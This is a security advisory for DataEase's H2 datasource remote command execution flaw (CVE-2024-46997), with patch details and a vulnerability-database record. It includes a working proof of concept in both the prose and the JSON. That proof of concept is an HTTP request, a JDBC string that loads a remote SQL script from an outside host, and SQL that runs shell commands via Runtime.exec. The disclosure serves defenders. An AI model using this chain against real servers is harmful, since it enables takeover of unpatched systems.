GHSA-H7MJ-M72H-QM8W
Vulnerability from github – Published: 2024-09-23 20:27 – Updated: 2024-09-23 20:27
VLAI
Summary
DataEase's H2 datasource has a remote command execution risk
Details
Impact
An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.
request message:
POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json
{
"id": "",
"name": "test",
"type": "h2",
"configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}
h2 data source connection string:
// configuration
{
"jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}
the content of poc.sql:
// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')
You can see that the file was created successfully in docker:
/tmp # ls -l jdbch2rce
-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce
Affected versions: <= 2.10.0
Patches
The vulnerability has been fixed in v2.10.1.
Workarounds
It is recommended to upgrade the version to v2.10.1.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com
Severity
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.10.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.dataease:common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-46997"
],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-23T20:27:11Z",
"nvd_published_at": "2024-09-23T16:15:06Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n \"id\": \"\",\n \"name\": \"test\",\n \"type\": \"h2\",\n \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM \u0027[http://10.168.174.1:8000/poc.sql\u0027](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS \u0027String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}\u0027;CALL EXEC (\u0027touch /tmp/jdbch2rce\u0027)\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
"id": "GHSA-h7mj-m72h-qm8w",
"modified": "2024-09-23T20:27:11Z",
"published": "2024-09-23T20:27:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46997"
},
{
"type": "PACKAGE",
"url": "https://github.com/dataease/dataease"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DataEase\u0027s H2 datasource has a remote command execution risk"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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